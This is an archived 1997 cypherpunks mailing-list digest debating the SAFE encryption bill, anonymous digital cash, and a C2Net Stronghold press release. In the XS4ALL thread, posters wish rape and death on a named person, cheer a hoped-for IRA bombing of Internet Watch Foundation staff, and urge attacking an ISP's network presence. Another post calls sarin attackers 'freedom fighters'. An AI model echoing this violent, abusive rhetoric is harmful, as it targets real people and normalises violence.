>>> at http://www.privacy.org/ipc/safe_letter.html ]
>>>
>>>
>>> Marc Rotenberg
>>> EPIC.
>>>
>>>
>>>
>>>
>>> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>>> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>>> >>Two quick points:
>>> >>
>>> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>>> >>letter to the House subcommittee on April 29 urging that SAFE be approved
>>> >>without any changes? (I'm in Oklahoma right now and I have a copy of that
>>> >>letter in my office in DC, but that's what I remember.)
>>> >
>>> >Declan, I can't believe you did your research so poorly.  Go look at the
>>> >Internet Privacy Coalition letter at
>>> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>>> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>>> >there.
>>> >
>>> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>>> >Eagle Forum, VTW, and PGP all signed.
>>> >
>>> >Since you've been laboring under this mistaken impression, you owe
>>>somebody
>>> >at CDT a big fucking apology.
>>> >
>>> >-S
>>> >
>>> >>
>>> >>
>>> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>>> >>
>>> >>> The Administration hates this bill, because it threatens their
>>>ability to
>>> >>> roll out Key Recovery.  They've said as much in the letter Declan
>>> >>>forwarded:
>>> >>>
>>> >>>    "The bill could be read as prohibiting the United States government
>>> >>>     from using appropriate incentives to support a key management
>>> >>>     infrastructure and KEY RECOVERY." [emphasis added]
>>> >>>
>>> >>> Do you think that if this bill helped the Administration, that
>>>they'd be
>>> >>> out there urging the subcommittee chairman to stop it?  I think not.
>>> >>>
>>> >>> I'm also puzzled by the fact that CDT is being criticized pretty much
>>> >>> solely, even though the entire Internet Privacy Coalition, and several
>>> >>> other groups all wrote a letter of support of the bill with only a
>>> >>> criticism of one provision.  However the overall statement was of
>>>support.
>>> >>> (see http://www.privacy.org/ipc/safe_letter.html)
>>> >>>
>>> >>> As far as I can tell, everyone criticizing the bill either thinks that:
>>> >>>
>>> >>> 	a) CDT actually runs all these groups behind the scenes, or
>>> >>> 	b) pretty much all of the Internet advocates believe that
>>>this bill
>>> >>>            is needed and are doing the best they can with what
>>>Congress has
>>> >>>            written.
>>> >>>
>>> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans
>>>for Tax
>>> >>> Reform, the Association for Computing Machinery, Computer
>>>Professionals for
>>> >>> Social Responsiblity, Eagle Forum, the National Association for
>>>Criminal
>>> >>> Defense Lawyers, and PGP Inc all signed this letter.
>>> >>>
>>> >>> Can you consider, perhaps, for a second, that critics of SAFE are being
>>> >>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>>> >>> Administration.  Is that the kind of company that cypherpunks keep?
>>> >>>
>>> >>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>> >>>
>>> >>>   The pending bill provides a positive framework for the reforms
>>>that are
>>> >>>   long overdue in this critical area. It makes clear that the sale
>>>or use
>>> >>> of
>>> >>>   encryption, a vital technique to promote network security and
>>>individual
>>> >>>   privacy, should not be restricted in the United States. This is
>>>the view
>>> >>>   widely shared by users of the Internet and the computer and
>>> >>>communications
>>> >>>   industry. It was also a central recommendation of the
>>> >>>   report of the National Research Council last year.
>>> >>>
>>> >>> Looks like widespread support from people who study this issue for
>>>living.
>>> >>> I'm glad to be counted among them.
>>> >>>
>>> >>> -S
>>> >>>
>>> >>> -Shabbir
>>> >>>
>>> >>>
>>>
>>>
>>>
>>>
>>>



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 4 May 1997 14:14:48 +0800
To: Ernest Hua <declan@vorlon.mit.edu>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
Message-ID: <v03007801af91e1128b39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



[I've been away from my computer, else I would've responded to Ernest's
post earlier.]


At 11:10 AM -0800 5/2/97, Ernest Hua wrote:

>In short, they can get what they want instantly, while we cannot
>except through a long and arduous process (during which they can throw
>many procedural and lobbying obstacles to slow us down).  The process
>is clearly in THEIR favor (and not without good reason), and we must
>face that fact.

Yes, and they keep throwing out new proposals (Clipper I, II, and III, Key
Recovery Initiative, Trusted Third Parties, blah blah). Not to mention
Digital Telephony, iterations of the copyright law, and ambiguous
legislation about terrorism and assistance to terrorists. They can generate
laws far faster than we can mount political counter-efforts, especially
since the lobbying agencies (FBI, NSA, Commerce, FCC, FDA, SEC, etc.) are
using _our_ stolen money to pay for these lobbying efforts.

It's hopeless to fight them on their own turf, as they hold most of the
cards (and we paid for them).


>It takes just one Om Shinri Kyo (sp?) in any nation to convince its
>leaders to pass knee-jerk panic legislation in the name of security,
>and it's the fault of politics at the beck and call of human nature
>(not just stupid politicians).

And this will happen regardless of whether SAFE passes or not. As several
of us have pointed out, SAFE contains prominently mentioned provisions for
the stoppage of crypto exports (and maybe even domestic distribution)
should terrorism or military diversions be linked. (Stuff about the EEPA,
for example.)

When a nut shot up a schoolyard, we lost our basic right to buy basic
firearms. (The same thing happened in Australia and Britain, too. Almost as
if there's a script being followed. "Save the children" is the passphrase
for removing liberties.)

When it was _suspected_ that a bomb took the TWA flight down, look what
happened to the liberties of travellers in public places.

As Ernest notes, all it will take is one _major_ terrorist incident for
many of the remaining liberties to vanish in a period of a few weeks. Had
the World Trade Center bombs succeeded (in bringing down one of the
towers), this would have done it. When freedom fighters ultimately succeed
in, say, killing 5000 Londoners in a Sarin or Ricin attack in the Tube,
expect dramatic moves in all Western nations to sharply curtail civil
liberties.

There is no hope that legal measures can maintain liberty. Only
technological bypasses of the State can succeed.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 4 May 1997 12:32:13 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705032048.NAA22766@joseph.cs.berkeley.edu>
Message-ID: <v0302091caf91b14570c2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Someone, whose reputation is bigger than God, in the hope of sparing me
public humiliation from the error of my ways (the very paradigm of a lost
cause :-)), wrote to me offline on this topic. I'm posting it here, because
frequently people reply to me with stuff which is extremely relevant to the
argument at hand, and which should be heard in public.

The main consideration I use is that none of the information in the reply
can be used to identify the person who sent it, or mess up whatever plans
they're laying, something you can clearly see in the following...


At 4:48 pm -0400 on 5/3/97, somebody wrote:
you write:
> > I further claim that the most efficient digital bearer certificate is an
> > anonymous one.
>
> Hal's point is this. There are two types of "anonymity": one where
> the bank says "I swear I won't keep any records based on the name
> you gave me" (the benign bank), and the other where we use Chaumian
> blinding so the bank never even sees the identity information (the
> untrusted bank).

Right. Let's call the first one the Microsoft model, because I feel
especially vicious this evening, and the second one the "Real" Chaum model.

> Now, it seems to me that the "benign bank" sort of anonymity can't
> cost any more (and in fact will even cost less) than the "untrusted
> bank" Chaumian anonymity.

Not true. With Chaumian anonymity, all the underwriter does is keep a
database of spent digital bearer certificates, which they keep down by
expiring certificate issues and the keys which generate them periodically.
When someone double-spends a certificate, the underwriter has enough
information to reveal their public key, but only when someone double spends
and not before.

With the Microsoft model, the underwriter knows who's buying your
certificates, *and* the shared secret which makes the cash valid, *and*
what time the certificate was issued, *and* what your shoe sizes, and the
name of your sister's first date, and, and, and,...

Anyway, I claim that the very Chaumian inability to *ever* know who bought
the certificates you underwrite keeps you from ever *trying* to keep track
of any other data, which, of course, is inherently cheaper.

> Yet your arguments for anonymity apply
> equally to both situations.

No they don't. There's a qualitative difference between a system where you
can't ever know who some one is, but you can still trust them, and a system
where you always know who someone is and they have to trust *you*. :-). I
say that one of the additional virtues of the former system is
significantly reduced transaction costs, and finally, that that happy side
effect will eventually result in a shift away from the latter kind of
system, if it ever is useful to begin with.

By the way, an additional cost of the system, which is obviously more in
line with the privacy concerns of cypherpunks, and possibly less germaine
to the transaction cost issue we're discussing, is the cost of the risk of
breaking the confidentiality of systems like the Microsoft idea. I have a
hunch that all it takes is one big information leak, and such systems will
be dropped as a form of digital cash underwriting, but I'm going pretty far
out on a limb to make that particular assertion. Should we call this the
"Clipper effect", just to rattle peoples' chains?

> Therefore, I say your arguments, taken
> to their logical conclusion, imply that we'll end up with "benign
> bank" anonymity, rather than Chaumian "untrusted bank" anonymity.

Again, I don't think so. However, what we really need is some actual
estimates and analysis to prove it, barring the existence of any actual
transaction cost data, of course. :-). Something I'm not qualified to do,
though I bet there are people here who can get those answers.

> But "benign bank" anonymity is a very very weak form of anonymity
> indeed -- it's not what most cypherpunks (or cryptographers) mean
> when they talk about anonymous digital cash.

Amen. Only people mired in the book-entry way of looking at things think
otherwise. I believe the economics of the marketplace will soon teach them
the serious errors of their ways...

> "Benign bank" anonymity
> is the sort of thing that Cybercash or other traditional systems
> provide; "untrusted bank" security is what Digicash provides.

And, again, I assert that the paradox of all this is that the cheapest form
of commerce is a form where you don't trust anyone, or, better, trust, but
verify, everyone. That's the beauty of the blind signature algorithm, it
allows you to do all that, and not keep books, which cost money.

> So, if I understand your argument correctly, you're saying that
> we'll inevitably end up with some weak form of anonymity, but it
> will be far weaker than what most cypherpunks want.

I hope you can see by now, after I've taken another shot at explaining it
better, what I was getting at.

> That sounds more like a cause for a call to arms than a reason to
> sit around reassuring ourselves that everything will turn out fine
> without us!

Nah. I don't do calls to arms. It's much better to change the world by
making money. An especially important focus to have when you're building
transaction systems. :-).


I strongly beleive that you can easily knock three, maybe four, decimal
places off the cost of any transaction you can care to mention just by
using strong financial cryptography and anonymous digital bearer
certificates on a ubiquitous geodesic network.

That remains to be seen, however. I will say that I'm working as hard as
someone with my limited skillset can to prove that hypothesis. :-).


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Sun, 4 May 1997 15:52:01 +0800
To: cypherpunks@algebra.com
Subject: Ready for PrimeTime: FUD! The Newsletter of Fear Uncertainty and Doubt
Message-ID: <3.0.32.19970504003115.006c49b0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



See this new exciting venture.
Cards and Letters Welcome; use "FUD" in the subject header.

www.best.com/~geeman








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 4 May 1997 19:10:31 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
Message-ID: <19970504025133.49990@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 03, 1997 at 11:01:23PM -0800, Tim May wrote:
[...]
> 
> When a nut shot up a schoolyard, we lost our basic right to buy basic
> firearms. (The same thing happened in Australia and Britain, too. Almost as
> if there's a script being followed. "Save the children" is the passphrase
> for removing liberties.)
>
> When it was _suspected_ that a bomb took the TWA flight down, look what
> happened to the liberties of travellers in public places.
> 
> As Ernest notes, all it will take is one _major_ terrorist incident for
> many of the remaining liberties to vanish in a period of a few weeks. Had
> the World Trade Center bombs succeeded (in bringing down one of the
> towers), this would have done it. When freedom fighters ultimately succeed
> in, say, killing 5000 Londoners in a Sarin or Ricin attack in the Tube,
> expect dramatic moves in all Western nations to sharply curtail civil
> liberties.

I think rather it is an inevitable consequence of population density
and technological advancement.  Technological advancement creates the
facilities that a deranged individual can use to cause large amounts
of damage in a very short time.  Society doesn't yet have a 
successful response to this problem.

> There is no hope that legal measures can maintain liberty. Only
> technological bypasses of the State can succeed.

This is a persistent misstatement on your part.  You constantly label
your enemy as the "state", but really it is society as a whole. 
Government, military, industry, small business, the educational
system, the "masses" -- it is all a parcel, and it is very difficult
(if not meaningless) to try to single out the "state" as an 
independent actor in this parcel.

In any case, even "technological bypasses" will almost certainly 
fail.  Then what?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kibo <kibo@thecia.net>
Date: Sun, 4 May 1997 19:02:23 +0800
To: freedom-knights@jetcafe.org
Subject: soft drugs? Artikel about XS4ALL in New York
In-Reply-To: <quP56D21w165w@bwalk.dm.com>
Message-ID: <Pine.BSI.3.96.970504063605.2502A-100000@shell.thecia.net>
MIME-Version: 1.0
Content-Type: text/plain


see, the whole problem here is the same as usual.
people mixing up pot with "other" allegedly "soft drugs."
Pot must never be mixed up with anything.

On Sat, 3 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Sat, 03 May 97 08:57:37 EDT
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com
> Subject: Re: Artikel about XS4ALL in New York
> 
> [cc'd to freedom-knights, who don't appreciate censorship of mj web pages]
> 
> Paul Bradley <paul@fatmans.demon.co.uk> writes:
> 
> > > anarchists, bent on disrupting society," Rodriquez told the Dutch daily
> > > Trouw. "But now they have come to see that we are nice and quiet people
> > > really."
> >
> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.
> 
> Yes, let's fuck Chris Lewis to death with a 27" dildo!!!1!!1!
> 

an Excellent Idea!

> > > The company was instrumental in the creation of the Amsterdam Digital
> > > The hotline is run by Internet users and providers. Unlike Britain's
> > > Internet Watch Foundation, the Dutch hotline doesn't censor any
> > > information nor does it ask the provider to do so. Hotline operators
> > > contact the author of the information and ask him to remove the
> > > offending content.  "If the author does not comply, we report him to
> > > the police, and he'll be prosecuted," said Rodriquez, who also is
> > > chairman of the Dutch Providers Association.
> 
> Both asking the author to remove contents, and contacting the police
> are dishonorable acts. Even if the US, honorable providers tell the
> complainers: if it's something illegal, call the cops and leave us
> out of it.
> 

See, you can not trust any of those fucking foreigh Countries.
Even Holland, which is supposed to be the home for pot, arrests
people for "offending content."

It has become apparent that the First Amendment which guarantees
Freedom Of Speech, must be applied world-wide, in order to protect
de-facto Universal Freedoms, which all come from Common Law.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.
> Is this Blair guy any saner than the tory bastards?
> 
> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.
> 

I like the idea of attacking and eliminating their POP altogether.
He who interferes with Freedom Of Speech deserves to have their POP
eliminated.

> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >

soft drugs?  "drugs" is a bad word.  pot is not a "drug" by the common
connotation in society.  pot is a medicine and an herb.

> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".
> 
> > > The company's commitment to support free expression and democratization
> > > of the Internet doesn't stop here.
> >
> > As far as I can see it hasn`t even started yet.
> >
> > > Last fall when the Serbian
> > > government censored radio station B-92, XS4ALL helped design an
> > > Internet campaign and started to carry news broadcasts (in RealAudio
> > > format) that kept the rare opposition voice alive and the international
> > > public informed through independent accounts of the events occurring
> > > during the mass demonstrations in Belgrade.
> >
> > I presume B-92 fell into line and matched the "requirements under law for
> > obtaining a free-speech permit" before XS4ALL allowed this/
> 
> It's because Germans will gladly do anything to fuck over the Serbs.
> I bet XS4All wouldn't host a web page for Karajic.
> 
> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?
> 
> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.
> 

Yes, I read about that.  I sure hope it is possible.

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

"Freedom Of Speech" must become the Universal World Standard for the 
InterNet.  We have a long way to go.

medpot(tm)foundation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 4 May 1997 20:58:38 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705041243.IAA10748@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Quoting: http://www.msnbc.com/onair/nbc/mtp/default.asp

Tune in to Meet the Press with Tim Russert on Sunday... check local listings for details. 

Sunday: Meet the Press will look at
    crime, terrorism, national security, and
    foreign campaign contributions.
    Moderator Tim Russert will speak with
    FBI Director Louis Freeh. This week's
    panelist will be NBC's Pete Williams,
    and the roundtable guest will be
    Elizabeth Drew, author of Whatever it
    Takes. 

Meet the Press transcripts are usually
  available three hours after the show airs.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Mon, 5 May 1997 00:57:12 +0800
To: cypherpunks@cyberpass.net
Subject: Full Strength Stronghold 2.0 Released Worldwide
Message-ID: <199705041637.JAA10872@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


For Release May 5, 1997
C2Net Software: Douglas Barnes +1 510 986 8770
UK Web: Dave Williams +44 113 222 0046 

	   Full-Strength Stronghold 2.0 Released Worldwide
     C2Net President Sameer Parekh Rejects Weak Keys, Back Doors

Oakland, CA - C2Net Software, Inc. annouced today the worldwide
availability of Stronghold 2.0, a major upgrade to their secure web
server based on Apache. With this release, Stronghold has added more
functionality than ever, including uncompromised security, web-based
configuration, and new protocol support.

"The Stronghold web server -- like all C2Net products -- supports
full-sized keys, and will never support government back doors," said
C2Net president Sameer Parekh. "We have development teams around the
globe working on our products, free from US export control
policy. Even if some of these countries cave in to US demands, we'll
still be able to produce first-rate, uncompromised security products."

Others Use Compromised Security

In a recent announcement, Netscape Communications announced plans to
include government back doors in their products. "By implementing this
so-called 'key recovery', Netscape is getting a small increase in key
length in exchange for putting your keys in the hands of the
government," said Parekh. "This the same government that hired Aldrich
Ames, the same goverment that has IRS employees surfing taxpayer
databases at will. What do you think is going to happen to your keys?"

According to cryptography expert Bruce Schneier, "There is absolutely
no business case for key recovery. Any benefit you get from longer key
lengths is offset by the enormous security risk of concentrating keys
in a few hands."

Current "export" versions of Netscape and Microsoft web servers use a
weak 40-bit cipher that can be broken in hours by any bored systems
administrator or college student with access to a few hundred idle
machines. By comparison, all C2Net software can use at least 128-bit
keys.

To understand this difference, imagine that the hundreds of computers
needed to crack a 40 bit key in a few hours were compressed into a
cube an inch on a side, and you built a computer the size of the Earth
out of these cubes, it would still take this computer more than four
times as long to crack a 128 bit key. It's easy to find a few hundred
computers idle at any medium-sized business or university; Earth-sized
computers are still relatively uncommon.

Stronghold Gaining Market Share

In several recent surveys, Stronghold has emerged as a leading
contender in the web server market. An O'Reilly and
Associates/Netcraft survey of secure web servers in use on the
Internet found that Stronghold was second only to Netscape. The
monthly Netcraft survey of all web servers on the Internet has
indicated for some time that Stronghold is also the second most
popular commercial web server for the Unix platform.

"We've been steadily gaining market share," indicated Parekh, "and to
a great extent it's due to our firm stand that we won't sell
deliberately weakened security products to our customers."

Features in Stronghold 2.0

"We've redesigned the security interfaces and built on the new Apache
1.2 code base," commented Mark Cox, Stronghold product manager at UK
Web. "Stronghold has had many productivity and performance
enhancements and it is now fully compliant with the new HTTP/1.1
standard." The HTTP/1.1 standard is a significant update to HTTP/1.0,
the protocol that governs how web browsers and web servers
communicate.

HTTP/1.1 brings many new features to the table, including improved
content and language negotiation, improved persistent connections, and
better recovery from interrupted transfers. (For more information on
HTTP/1.1, see http://www.apacheweek.com/features/http11)

Stronghold 2.0 also includes a web-based configuration manager,
allowing web administrators to securely administer their sites from
the web browser of their choice. "We've had a lot of requests for this
feature as Stronghold has grown in popularity," said Douglas Barnes,
C2Net Vice President.

On the security front, the new release includes support for Secure
Sockets Layer (SSL) version 3, which provides stronger security and
more flexibility in choosing ciphers.

Background

UK Web Limited is a leading Internet services company specialising in
server technology, Internet security, business solutions and effective
site design.

C2Net is the leading worldwide provider of uncompromised network
security software.

Netscape Navigator and Netscape Enterprise are trademarks of Netscape
Communications Corporation. Microsoft Internet Explorer and Microsoft
Internet Information Server are trademarks of Microsoft Corporation.
Stronghold and SafePassage are trademarks of C2Net Software, Inc.

Portions of Stronghold were developed by the Apache Group, and were
taken with permission from the Apache Server http://www.apache.org/.
Stronghold also includes software developed by Eric Young
(eay@cryptsoft.com).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 5 May 1997 01:20:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970504164841.304I-100000@fatmans.demon.co.uk>
Message-ID: <199705041702.KAA18066@netcom20.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley writes:

> Just to give you some overview of the fuck ups we now have governing the 
> UK I present a list of proposals Tony Blair and his motley crew have made in 
> the last year:

> Mandatory minimum sentencing for repeat offenders regardless of the 
> opinion of the judge.

> State set curfews for all children under 16 regardless of their parents 
> wishes.

> Parents to be held responsible for the crimes of their children if the 
> children repeat offend.

> Several vague allusions towards internet censorship schemes or mandatory 
> web page rating using PICS.

> Minimum wage for full time employees, regardless of the empolyees skills 
> or the wishes of the employer.

> Further action to prevent "bias" and "discrimination" in the workplace, 
> eg. "Employ this unskilled [racially insensitive term] and we`ll lower 
> your corporation tax 2%"

> Further plans for yet more CCTV cameras in public places.

> Mandatory ID cards for citizens (This one sounds like a joke, believe me 
> it is not).

> A ban on all handguns even when registered (currently all pistols above 
> .22 are banned and all guns have to be registered in a process whereby if 
> the applicant for a certificate has any history of political dissention 
> or crime (eg. Smoking a joint, the ultimate sin against society) the 
> certificate will be refused.

> Yet more spending on welfare to support the pieces of shit in the gutter 
> I pass every day.

Blair has learned his Clinton lessons well.  When I see the evolution
of so-called multi-party systems where all candidates will fuck with
your rights equally well, it makes me wax fondly back to the old Soviet
Union.  Although there was only one party, the citizens were at least
able to vote "None of the Above."

I wonder how many seats would be filled in our government if the last
step in the electoral process was a ratification of a single candidate
by the voters.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 5 May 1997 02:41:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
Message-ID: <199705041819.LAA00411@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


It is hard to understand why a system where it is impossible to track
payments (Chaumian anonymity) is cheaper than one where it is possible
to do so, but we choose not to.  If avoiding tracking payments is cheaper
than tracking them, why wouldn't participants just not bother to track
them even when they theoretically could?

Granted, there are situations where taking away someone's options can make
him better off.  The classic example would be the Prisoner's Dilemma, which
I will assume people here are familiar with.  Given the choice to cooperate
or defect, standard analysis predicts that both players will defect.  Remove
that option, and they will be forced to cooperate, leading to a better
("lower cost") outcome for both.  The structure of the game forced them to
take advantage of an option which has the net result of costing them more.

The question is whether this kind of reasoning would apply financial
transactions.  Is it really true that taking away the option of tracking
transactions is going to save money overall?  Sure, not keeping records
is a priori going to be cheaper than keeping them, but the question is
how much the loss of those records is going to hurt you.

Presumably records are kept to protect against various risks.  Without
that protection, you need other means to control the risk.  But if those
means exist and they are cheaper than record-keeping, then again even
without anonymity it should be cheaper to use those methods in place of
the records.

I think we would need to see a more detailed explanation of exactly why
it is that people can't save money today by avoiding keeping records,
when they could do so if it were impossible to keep records.

(One possible explanation is that it would be a regulatory effect.
People are forced by the government to keep records, to their detriment,
that they would prefer not to keep.  With anonymous bearer certificates
it would not be possible to keep the records so people might hope to
escape the regulations.  However the problem with this reasoning is that
the same forces which require the record-keeping would be likely to ban
the use of instruments which prevent keeping records.)

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 5 May 1997 02:53:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v03007808af9094d14286@[207.94.249.180]>
Message-ID: <v03007800af92941551bd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:08 AM -0800 5/3/97, Robert Hettinga wrote:
>At 3:10 am -0400 on 5/3/97, Bill Frantz wrote:

>> Carlsen Subaru in Palo Alto has signs in their sales offices notifying
>> people that their agreement with their bank prevents them from taking
>> credit cards in payment for cars.
>
>Hmmm. The operative concept in my paragraph was "peer-to-peer". I should
>have put "personally" in the last sentence, in between "you" and "sold",
>and it would have been much clearer.
>
>By the way, back when I was pond scum in Morgan Stanley's cage in Chicago,
>American Express Gold Cards had just come out. About the first month they
>were out, a commodities trader showed up at a local Rolls dealership and
>offered to pay for a brand new Corniche with one.
>
>The sales manager smiled, said "Yes sir", went to the phone, called Amex,
>and took the card.
>
>Probably apocryphal, but, hey, it's a great story.

I'm sure things like this happen every day.

As I mentioned just several days ago, I bought a Ford Explorer a few years
ago and put it on my VISA card. A Corniche costs a few times more, but the
principle is the same.

How large a purchase a user can put on his card depends on two things: his
credit line (and/or issuer policy) and of course the policies of the other
party. For some, their limit is $500, maybe even less. For others, like
"Gold" or "Platinum" or "Plutonium" card holders, the numbers are much
higher.

In my case, I can spend up to my maximum margin account borrowing level,
currently at about 50% of the value of my margin account (my stocks,
investments, etc.).

So, I could use my VISA card to buy a geodesic dome in this geodesic
economy. Not that I'd want to.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 5 May 1997 04:41:41 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
Message-ID: <v02140b01af925860a90b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Bob Hettinga wrote:
>I strongly beleive that you can easily knock three, maybe four, decimal
>places off the cost of any transaction you can care to mention just by
>using strong financial cryptography and anonymous digital bearer
>certificates on a ubiquitous geodesic network.

Although I stongly share your overall beliefs in the superiority of digital
bearer certificates (DBC), I am much less certain about the intrinsic
financial cost differentials.

Let's first consider credit cards (CCs). Consumers using CCs, if they
choose their bank/agent carefully and settle their monthly statements in
full and promptly, pay nothing (directly) for the priviledge of using the
cards.  One can argue that merchants build the cost of their CC transaction
clearance costs into their price structure and therefore every patron,
whether using cash or CC, pay for the costs of CC usage (few merchants
offer cash discounts).  Most walk-in retail merchants, in good standing,
pay about 2% in discount (fees).  On-line and mail order merchants pay
about 3% as do those with a higher rate of chargebacks and/or in grey
businesses (e.g., on-line gaming and adult entertainment).  These fees
represent the costs of operating the CC clearing system (MC, VISA, AMEX,
etc.) the bank's overhead and profit.

Now let's look at Automatic Clearing House (ACH). ACH is a Federal Reserve
service offered by 18,000 financial institutions to 40,000 corporations and
generating 2.5 billion transaction per year.  It is used by business to pay
employees (automatic payroll deposit), automatic debt of consumer checking
